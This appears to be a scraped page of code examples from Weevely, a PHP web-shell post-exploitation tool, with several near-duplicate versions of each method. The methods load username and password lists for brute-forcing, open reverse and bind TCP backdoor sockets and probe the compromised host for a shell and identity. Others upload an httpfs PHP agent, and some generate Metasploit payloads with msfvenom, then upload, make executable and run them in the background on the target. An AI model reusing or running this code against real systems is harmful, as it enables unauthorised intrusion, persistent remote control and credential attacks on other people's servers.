def run(self):

        self.args['users'] = self.args.get('users', [])
        if self.args.get('fusers'):
            try:
                self.args['users'] += open(self.args['fusers'],
                                           'r').read().split(os.linesep)
            except Exception as e:
                log.warning(messages.generic.error_loading_file_s_s %
                            (self.args['fusers'], str(e)))
                return

        self.args['pwds'] = self.args.get('pwds', [])
        if self.args.get('fpwds'):
            try:
                self.args['pwds'] += open(self.args['fpwds'],
                                          'r').read().split(os.linesep)
            except Exception as e:
                log.warning(messages.generic.error_loading_file_s_s %
                            (self.args['fpwds'], str(e)))
                return

        if not self.args['users'] or not self.args['pwds']:
            log.error('Error, no users or passwords loaded')
            return

        return self.vectors.get_result(name=self.args['service'],
                                       format_args=self.args)
Beispiel #2
0
    def run(self):

        self.args['users'] = self.args.get('users', [])
        if self.args.get('fusers'):
            try:
                self.args['users'] += open(self.args['fusers'], 'r').read().split(os.linesep)
            except Exception as e:
                log.warning(
                  messages.generic.error_loading_file_s_s % (self.args['fusers'], str(e)))
                return

        self.args['pwds'] = self.args.get('pwds', [])
        if self.args.get('fpwds'):
            try:
                self.args['pwds'] += open(self.args['fpwds'], 'r').read().split(os.linesep)
            except Exception as e:
                log.warning(
                  messages.generic.error_loading_file_s_s % (self.args['fpwds'], str(e)))
                return

        if not self.args['users'] or not self.args['pwds']:
            log.error('Error, no users or passwords loaded')
            return

        return self.vectors.get_result(
                name = self.args['service'],
                format_args = self.args
        )
Beispiel #3
0
    def connect_socket(self):
        if(self.connect):
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.connect((self.hostname, self.port))

        else:
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,  1)
            try:
                server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
            except socket.error:
                #log.debug("Warning: unable to set TCP_NODELAY...")
                pass

            try:
                server.bind(('0.0.0.0', self.port))
            except socket.error as e:
                log.error(messages.module_backdoor_reversetcp.error_binding_socket_s % str(e))
                return

            server.listen(1)

            server.settimeout(3)

            try:
                self.socket, address = server.accept()
            except socket.timeout as e:
                server.close()
                raise
    def connect_socket(self):
        if (self.connect):
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.connect((self.hostname, self.port))

        else:
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
            except socket.error:
                #log.debug("Warning: unable to set TCP_NODELAY...")
                pass

            try:
                server.bind(('0.0.0.0', self.port))
            except socket.error as e:
                log.error(
                    messages.module_backdoor_reversetcp.error_binding_socket_s
                    % str(e))
                return

            server.listen(1)

            server.settimeout(3)

            try:
                self.socket, address = server.accept()
            except socket.timeout as e:
                server.close()
                raise
Beispiel #5
0
    def precmd(self, line):
        """Before to execute a line commands. Confirm shell availability and get basic system infos """

        dlog.info('>>>> %s' % line)

        # Skip slack check is not a remote command
        if not line or any(
                        line.startswith(cmnd) for cmnd in (':set', ':help')
                    ):
            return line

        # If no default shell is available
        if not self.session.get('default_shell'):

            # Trigger the shell_sh/shell_php probe if
            # 1. We never tied to raise shells (shell_sh = IDLE)
            # 2. The basic intepreter shell_php failed. It's OK to retry.
            if (
                self.session['shell_sh']['status'] == Status.IDLE or
                self.session['shell_php']['status'] == Status.FAIL
                ):
                # force shell_php to idle to avoid to be skipped by shell_sh
                self.session['shell_php']['status'] = Status.IDLE
                self.session['shell_sh']['status'] = modules.loaded['shell_sh'].setup()

            for shell in ('shell_sh', 'shell_php'):
                if self.session[shell]['status'] == Status.RUN:
                    self.session['default_shell'] = shell
                    break

            # Re-check if some shell is loaded
            if not self.session.get('default_shell'):
                log.error(messages.terminal.backdoor_unavailable)
                return ''

            # Print an introductory string with php shell
            if self.session.get('default_shell') == 'shell_php':
                log.info(messages.terminal.welcome_no_shell)
                self._print_command_replacements()
                log.info('\nweevely> %s' % line)

            # Get hostname and whoami if not set
            if not self.session['system_info']['results'].get('hostname'):
                modules.loaded['system_info'].run_argv([ "-info", "hostname"])

            if not self.session['system_info']['results'].get('whoami'):
                modules.loaded['system_info'].run_argv(["-info", "whoami"])

        # Get current working directory if not set
        # Should be OK to repeat this every time if not set.
        if not self.session['file_cd']['results'].get('cwd'):
            self.do_file_cd(".")

        return line
Beispiel #6
0
    def precmd(self, line):
        """Before to execute a line commands. Confirm shell availability and get basic system infos """

        dlog.info('>>>> %s' % line)

        # Skip slack check is not a remote command
        if not line or any(
                line.startswith(cmnd) for cmnd in (':set', ':help')):
            return line

        # If no default shell is available
        if not self.session.get('default_shell'):

            # Trigger the shell_sh/shell_php probe if
            # 1. We never tied to raise shells (shell_sh = IDLE)
            # 2. The basic intepreter shell_php failed. It's OK to retry.
            if (self.session['shell_sh']['status'] == Status.IDLE
                    or self.session['shell_php']['status'] == Status.FAIL):
                # force shell_php to idle to avoid to be skipped by shell_sh
                self.session['shell_php']['status'] = Status.IDLE
                self.session['shell_sh']['status'] = modules.loaded[
                    'shell_sh'].setup()

            for shell in ('shell_sh', 'shell_php'):
                if self.session[shell]['status'] == Status.RUN:
                    self.session['default_shell'] = shell
                    break

            # Re-check if some shell is loaded
            if not self.session.get('default_shell'):
                log.error(messages.terminal.backdoor_unavailable)
                return ''

            # Print an introductory string with php shell
            if self.session.get('default_shell') == 'shell_php':
                log.info(messages.terminal.welcome_no_shell)
                self._print_command_replacements()
                log.info('\nweevely> %s' % line)

            # Get hostname and whoami if not set
            if not self.session['system_info']['results'].get('hostname'):
                modules.loaded['system_info'].run_argv(["-info", "hostname"])

            if not self.session['system_info']['results'].get('whoami'):
                modules.loaded['system_info'].run_argv(["-info", "whoami"])

        # Get current working directory if not set
        # Should be OK to repeat this every time if not set.
        if not self.session['file_cd']['results'].get('cwd'):
            self.do_file_cd(".")

        return line
Beispiel #7
0
    def precmd(self, line):
        """Before to execute a line commands. Confirm shell availability and get basic system infos """

        dlog.info('>>>> %s' % line)

        # Skip slack check is not a remote command
        if not line or line.startswith(':set'):
            return line

        # If no default shell is available
        if not self.session.get('default_shell'):

            # Setup shell_sh if is never tried
            if self.session['shell_sh']['status'] == Status.IDLE:
                self.session['shell_sh']['status'] = modules.loaded['shell_sh'].setup()

            for shell in ('shell_sh', 'shell_php'):
                if self.session[shell]['status'] == Status.RUN:
                    self.session['default_shell'] = shell
                    break

            # Re-check if some shell is loaded
            if not self.session.get('default_shell'):
                log.error(messages.terminal.backdoor_unavailable)
                return ''

            # Get hostname and whoami if not set
            if not self.session['system_info']['results'].get('hostname'):
                modules.loaded['system_info'].run_argv(["--info=hostname"])

            if not self.session['system_info']['results'].get('whoami'):
                modules.loaded['system_info'].run_argv(["--info=whoami"])

        # Get current working directory if not set
        # Should be OK to repeat this every time if not set.
        if not self.session['file_cd']['results'].get('cwd'):
            self.do_file_cd(".")

        return line
Beispiel #8
0
    def run(self):

        # Check binary
        binary_path = spawn.find_executable(self.args['httpfs_binary'])

        if not binary_path:
            log.error(messages.module_file_mount.httpfs_s_not_found %
                      self.args['httpfs_binary'])
            return

        # Generate PHP agent
        try:
            status = 0
            agent = subprocess.check_output([binary_path, 'generate', 'php'])
        except subprocess.CalledProcessError as e:
            status = e.returncode
            agent = ''

        if status or not agent:
            log.error(messages.module_file_mount.error_generating_agent)
            return

        # Save temporary PHP agent, and upload it
        temp_file = tempfile.NamedTemporaryFile(suffix='.php',
                                                prefix='',
                                                delete=False)
        temp_file.write(agent)
        # Without this flush() uploads only a
        # portion of the file
        temp_file.flush()

        result = ModuleExec('file_upload2web',
                            [temp_file.name, self.args['rpath']]).run()
        temp_file.close()

        if (not result or not result[0] or len(result[0]) != 2
                or not result[0][0] or not result[0][1]):
            log.error(messages.module_file_mount.failed_agent_upload)
            return

        self.args.update({
            'agent_abs_path': result[0][0],
            'agent_url': result[0][1]
        })

        log.warn(
            template.Template(
                messages.module_file_mount.agent_installed_tutorial).render(
                    **self.args))

        if self.args['no_autoremove']:
            log.warn(
                messages.module_file_mount.httpfs_agent_manually_remove_s %
                (result[0][0]))
        else:
            log.warn(messages.module_file_mount.httpfs_agent_removed)
            atexit.register(ModuleExec('file_rm', [result[0][0]]).run)
    def precmd(self, line):
        """Before to execute a line commands. Confirm shell availability and get basic system infos """

        dlog.info('>>>> %s' % line)

        # Skip slack check is not a remote command
        if not line or any(
                line.startswith(cmnd)
                for cmnd in (':set', ':unset', ':show', ':help')):
            return line

        # Trigger the shell_sh/shell_php probe if
        # 1. We never tried to raise shells (shell_sh = IDLE)
        # 2. The basic intepreter shell_php is not running.
        if (self.session['shell_sh']['status'] == Status.IDLE
                or self.session['shell_php']['status'] != Status.RUN):

            # We're implying that no shell is set, so reset default shell
            self.session['default_shell'] = None

            # Force shell_php to idle to avoid to be skipped by shell_sh
            self.session['shell_php']['status'] = Status.IDLE

            # Catch every exception which prevent the shell setup.
            # We imply that at every channel change (proxy, channel name)
            # this piece of code will be executed.
            try:
                self.session['shell_sh']['status'] = modules.loaded[
                    'shell_sh'].setup()
            except ChannelException as e:
                log.error(e.message)
                return ''

        # Set default_shell in any case (could have been changed runtime)
        for shell in ('shell_sh', 'shell_php'):

            if self.session[shell]['status'] == Status.RUN:
                self.session['default_shell'] = shell
                break

        # Kill the execution if no shell were loaded
        if not self.session.get('default_shell'):
            log.error(messages.terminal.backdoor_unavailable)
            return ''

        # TODO: do not print this every loop
        # Print an introductory string with php shell
        #if self.session.get('default_shell') == 'shell_php':
        #    log.info(messages.terminal.welcome_no_shell)
        #    self._print_command_replacements()
        #    log.info('\nweevely> %s' % line)

        # Get hostname and whoami if not set
        if not self.session['system_info']['results'].get('hostname'):
            modules.loaded['system_info'].run_argv(["-info", "hostname"])

        if not self.session['system_info']['results'].get('whoami'):
            modules.loaded['system_info'].run_argv(["-info", "whoami"])

        # Get current working directory if not set
        # Should be OK to repeat this every time if not set.
        if not self.session['file_cd']['results'].get('cwd'):
            self.do_file_cd(".")

        return line
Beispiel #10
0
    def run(self):

        # Check binary
        binary_path = spawn.find_executable(
                    self.args['httpfs_binary']
                )

        if not binary_path:
            log.error(
                messages.module_file_mount.httpfs_s_not_found % self.args['httpfs_binary']
            )
            return

        # Generate PHP agent
        try:
            status = 0
            agent = subprocess.check_output(
                        [ binary_path, 'generate', 'php' ]
                    )
        except subprocess.CalledProcessError as e:
            status = e.returncode
            agent = ''

        if status or not agent:
            log.error(
                messages.module_file_mount.error_generating_agent
            )
            return

        # Save temporary PHP agent, and upload it
        temp_file = tempfile.NamedTemporaryFile(
                        suffix = '.php',
                        prefix = '',
                        delete = False
        )
        temp_file.write(agent)
        # Without this flush() uploads only a
        # portion of the file
        temp_file.flush()

        result = ModuleExec(
                            'file_upload2web',
                                [
                                temp_file.name,
                                self.args['rpath']
                                ]
                        ).run()
        temp_file.close()

        if (
                not result or
                not result[0] or
                len(result[0]) != 2 or
                not result[0][0] or
                not result[0][1]
            ):
            log.error(
                messages.module_file_mount.failed_agent_upload
            )
            return

        self.args.update({
            'agent_abs_path' : result[0][0],
            'agent_url' : result[0][1]
        })

        log.warn(
            template.Template(
                messages.module_file_mount.agent_installed_tutorial
            ).render(**self.args)
        )

        if self.args['no_autoremove']:
            log.warn(messages.module_file_mount.httpfs_agent_manually_remove_s % (result[0][0]))
        else:
            log.warn(messages.module_file_mount.httpfs_agent_removed)
            atexit.register(
                ModuleExec('file_rm', [
                                        result[0][0]
                                    ]
                ).run
            )
Beispiel #11
0
    def precmd(self, line):
        """Before to execute a line commands. Confirm shell availability and get basic system infos """

        dlog.info('>>>> %s' % line)

        # Skip slack check is not a remote command
        if not line or any(
                        line.startswith(cmnd) for cmnd in (
                            ':set',
                            ':unset',
                            ':show',
                            ':help'
                        )
                    ):
            return line


        # Trigger the shell_sh/shell_php probe if
        # 1. We never tried to raise shells (shell_sh = IDLE)
        # 2. The basic intepreter shell_php is not running.
        if (
            self.session['shell_sh']['status'] == Status.IDLE or
            self.session['shell_php']['status'] != Status.RUN
            ):

            # We're implying that no shell is set, so reset default shell
            self.session['default_shell'] = None

            # Force shell_php to idle to avoid to be skipped by shell_sh
            self.session['shell_php']['status'] = Status.IDLE

            # Catch every exception which prevent the shell setup.
            # We imply that at every channel change (proxy, channel name)
            # this piece of code will be executed.
            try:
                self.session['shell_sh']['status'] = modules.loaded['shell_sh'].setup()
            except ChannelException as e:
                log.error(e.message)
                return ''

        # Set default_shell in any case (could have been changed runtime)
        for shell in ('shell_sh', 'shell_php'):

            if self.session[shell]['status'] == Status.RUN:
                self.session['default_shell'] = shell
                break

        # Kill the execution if no shell were loaded
        if not self.session.get('default_shell'):
            log.error(messages.terminal.backdoor_unavailable)
            return ''

        # TODO: do not print this every loop
        # Print an introductory string with php shell
        #if self.session.get('default_shell') == 'shell_php':
        #    log.info(messages.terminal.welcome_no_shell)
        #    self._print_command_replacements()
        #    log.info('\nweevely> %s' % line)

        # Get hostname and whoami if not set
        if not self.session['system_info']['results'].get('hostname'):
            modules.loaded['system_info'].run_argv([ "-info", "hostname"])

        if not self.session['system_info']['results'].get('whoami'):
            modules.loaded['system_info'].run_argv(["-info", "whoami"])

        # Get current working directory if not set
        # Should be OK to repeat this every time if not set.
        if not self.session['file_cd']['results'].get('cwd'):
            self.do_file_cd(".")

        return line
    def run(self):

        # Check msfvenom existance
        msvenom_path = spawn.find_executable(self.args['msfvenom_path'])

        if not msvenom_path:
            log.error(
                messages.module_backdoor_metasploit.msfvenom_s_not_found %
                self.args['msfvenom_path'])
            return

        # Set options according to the payload type
        options = []
        if 'reverse' in self.args['payload']:

            lhost = self.args.get('lhost')
            if not lhost:
                log.error(messages.module_backdoor_metasploit.
                          error_payload_s_requires_lhost %
                          self.args['payload'])
                return
            else:
                options += [('LHOST', lhost)]

        else:
            options += [('RHOST', host)]

        options += [('PORT', self.args.get('port'))]

        log.warn(messages.module_backdoor_metasploit.make_sure_run_msfconsole)
        log.info(
            'msfconsole -x "use exploit/multi/handler; set PAYLOAD %s; %s run"'
            % (self.args['payload'], ' '.join(
                ["set %s %s;" % (f, v) for f, v in options])))

        # Get temporary file name
        local_file = tempfile.NamedTemporaryFile()
        local_path = local_file.name

        # Build argument list for msfvenom
        arguments_list = [
            msvenom_path, '-p', self.args['payload'], '-o', local_path
        ] + ['%s=%s' % (v, f) for v, f in options]

        # Add executable format to the argument list
        if self.args['payload'].startswith('linux/'):
            arguments_list += ['-f', 'elf']
        elif self.args['payload'].startswith('windows/'):
            arguments_list += ['-f', 'exe']

        log.debug(' '.join(arguments_list))

        # Generate meterpreter PHP code
        agent = ''
        status = 0
        try:
            subprocess.check_call(arguments_list,
                                  stderr=open('/dev/null', 'w'))
            agent = open(local_path, 'r').read()
        except subprocess.CalledProcessError as e:
            status = e.returncode
        except Exception as e:
            log.debug(str(e))
            status = -1

        if status or not agent:
            log.error(
                messages.module_backdoor_metasploit.error_generating_payload)
            return

        if self.args['payload'].startswith('php/'):
            # If PHP payload, just run it

            PhpCode(agent, background=True).run()
        else:

            if self.session['shell_sh']['status'] != Status.RUN:
                log.error(messages.module_backdoor_metasploit.
                          error_payload_s_requires_shell_use_php %
                          self.args['payload'])
                return

            # Else: upload, execute, remove

            folders = ModuleExec(
                "file_find",
                ['-writable', '-quit', '-ftype', 'd', self.args['rpath']
                 ]).run()

            if not folders or not folders[0]:
                log.error(messages.module_backdoor_metasploit.
                          error_searching_writable_folder_under_s %
                          (self.args['rpath']))
                return

            local_filename = os.path.basename(local_path)

            remote_path = os.path.join(folders[0], local_filename)

            ModuleExec("file_upload", [local_path, remote_path]).run()

            # Let the uploaded file executable
            ShellCmd("chmod +x %s" % (remote_path)).run()

            # Execute the payload in background
            ShellCmd(remote_path, background=True).run()

            ModuleExec("file_rm", [self.args['rpath']]).run()
Beispiel #13
0
    def run(self):

        # Check msfvenom existance
        msvenom_path = spawn.find_executable(
                    self.args['msfvenom_path']
                )

        if not msvenom_path:
            log.error(
                messages.module_backdoor_metasploit.msfvenom_s_not_found % self.args['msfvenom_path']
            )
            return
    
        # Set options according to the payload type
        options = []
        if 'reverse' in self.args['payload']:
            
            lhost = self.args.get('lhost')
            if not lhost:
                log.error(
                    messages.module_backdoor_metasploit.error_payload_s_requires_lhost % self.args['payload']
                    )
                return
            else:
                options += [ ( 'LHOST', lhost ) ]
                
        else:
            options += [ ( 'RHOST', host ) ]
                
        options += [ ( 'PORT', self.args.get('port') ) ]

        log.warn(messages.module_backdoor_metasploit.make_sure_run_msfconsole)
        log.info(
            'msfconsole -x "use exploit/multi/handler; set PAYLOAD %s; %s run"' % (
                self.args['payload'],
                ' '.join([ "set %s %s;" % (f, v) for f, v in options ])
            )    
        )

        # Get temporary file name
        local_file = tempfile.NamedTemporaryFile()
        local_path = local_file.name
    
        # Build argument list for msfvenom
        arguments_list = [ 
            msvenom_path, 
            '-p', self.args['payload'],
            '-o', local_path 
        ] + [ '%s=%s' % (v, f) for v,f in options ]
        
        # Add executable format to the argument list
        if self.args['payload'].startswith('linux/'):
            arguments_list += [ '-f', 'elf' ]
        elif self.args['payload'].startswith('windows/'):
            arguments_list += [ '-f', 'exe' ]
            
        log.debug(' '.join(arguments_list))
    
        # Generate meterpreter PHP code
        agent = ''
        status = 0
        try:
            subprocess.check_call(
                arguments_list,
                stderr=open('/dev/null', 'w')
            )
            agent = open(local_path, 'r').read()
        except subprocess.CalledProcessError as e:
            status = e.returncode
        except Exception as e:
            log.debug(str(e))
            status = -1

        if status or not agent:
            log.error(
                messages.module_backdoor_metasploit.error_generating_payload
            )
            return
        
        if self.args['payload'].startswith('php/'):
            # If PHP payload, just run it
            
            PhpCode(agent, background = True).run()
        else:
            
            if self.session['shell_sh']['status'] != Status.RUN:
                log.error(
                    messages.module_backdoor_metasploit.error_payload_s_requires_shell_use_php % self.args['payload']
                )
                return
            
            # Else: upload, execute, remove
            
            folders = ModuleExec(
                "file_find", 
                [ 
                    '-writable', 
                    '-quit', 
                    '-ftype', 'd', 
                    self.args['rpath']
                ]
            ).run()

            if not folders or not folders[0]:
                log.error(messages.module_backdoor_metasploit.error_searching_writable_folder_under_s % (self.args['rpath']))
                return 
            
            local_filename = os.path.basename(local_path)
            
            remote_path = os.path.join(folders[0], local_filename)
            
            ModuleExec(
                "file_upload", 
                [ 
                    local_path,
                    remote_path
                ]
            ).run()
            
            # Let the uploaded file executable
            ShellCmd("chmod +x %s" % (remote_path)).run()
            
            # Execute the payload in background
            ShellCmd(remote_path, background = True).run()
            
            ModuleExec(
                "file_rm", 
                [ 
                    self.args['rpath']
                ]
            ).run()